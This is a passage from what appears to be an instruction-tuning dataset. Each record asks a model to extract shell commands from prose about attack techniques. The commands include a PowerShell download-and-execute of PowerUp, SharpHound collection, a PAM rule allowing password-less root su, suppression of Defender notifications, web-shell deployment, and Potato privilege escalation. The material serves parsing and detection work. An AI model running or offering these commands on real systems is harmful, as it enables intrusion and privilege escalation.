\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To insert a rule into a PAM config and test it, use the following command: sudo sed -i \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n; Upon successful execution, a rule allowing password-less su to root for all users will be inserted into the PAM config with this command: sudo sed -i \"\" \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n",
    "output": "{\"command_list\": [\"sudo sed -i \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\", \"sudo sed -i \\\"\\\" \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Azorult malware has been known to abuse this technique (see https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/), which involves modifying the registry with the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration\" /v Notification_Suppress /t REG_DWORD /d 1 /f; To enable RDP remote assistance for the current user, use the following command in the cmd console: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\UX Configuration\\\" /v Notification_Suppress /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fAllowToGetHelp /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To hide a file in macOS, you'll need Apple Dev Tools installed and then run the following command: setfile -a V #{filename}\n; On MacOS systems, directories can be hidden with the following two-step command: touch /var/tmp/T1564.001_mac.txt\nchflags hidden /var/tmp/T1564.001_mac.txt",
    "output": "{\"command_list\": [\"setfile -a V #{filename}\\n\", \"touch /var/tmp/T1564.001_mac.txt\\nchflags hidden /var/tmp/T1564.001_mac.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation retrieves all certificate items and writes them to a file in PEM format via the command: security find-certificate -a -p > #{cert_export}; To import a certificate pem file into a keychain, use the following command: security import #{cert_export} -k",
    "output": "{\"command_list\": [\"security find-certificate -a -p > #{cert_export}\\n\", \"security import #{cert_export} -k\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To set up a proxy on the endpoint, add a registry key at HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\\v4tov4 using the following command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}; The test demonstrates how an adversary might deploy Web Shells, using the cmd.aspx source from tennc's GitHub repository, by executing: xcopy /I /Y \"#{web_shells}\" #{web_shell_path}\n",
    "output": "{\"command_list\": [\"netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}\", \"xcopy /I /Y \\\"#{web_shells}\\\" #{web_shell_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For privilege escalation through named pipes, execute this multi-step command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nStart-Process .\\BadPotato.exe notepad.exe\nStart-Sleep -Second 20\nStop-Process -Name \"notepad\" -force -erroraction silentlycontinue\nStop-Process -Name \"BadPotato\" -force -erroraction silentlycontinue\n; To achieve privilege escalation using Juicy Potato, as seen in SnapMC Ransomware and other campaigns, use this command to execute a process with system privileges: cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\n",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nStart-Process .\\\\BadPotato.exe notepad.exe\\nStart-Sleep -Second 20\\nStop-Process -Name \\\"notepad\\\" -force -erroraction silentlycontinue\\nStop-Process -Name \\\"BadPotato\\\" -force -erroraction silentlycontinue\\n\", \"cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves copying the JavaScript file to a temporary directory and then compiling it with jsc.exe using this command sequence:\ncopy \"#{filename}\" %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n; The registry key will be modified to point to a specified DLL path upon execution of this command: New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"",
    "output": "{\"command_list\": [\"copy \\\"#{filename}\\\" %TEMP%\\\\LibHello.js\\n#{jscpath}\\\\#{jscname} /t:library %TEMP%\\\\LibHello.js\\n\", \"New-ItemProperty -Path HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS -Name LsaDbExtPt -Value \\\"#{dll_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
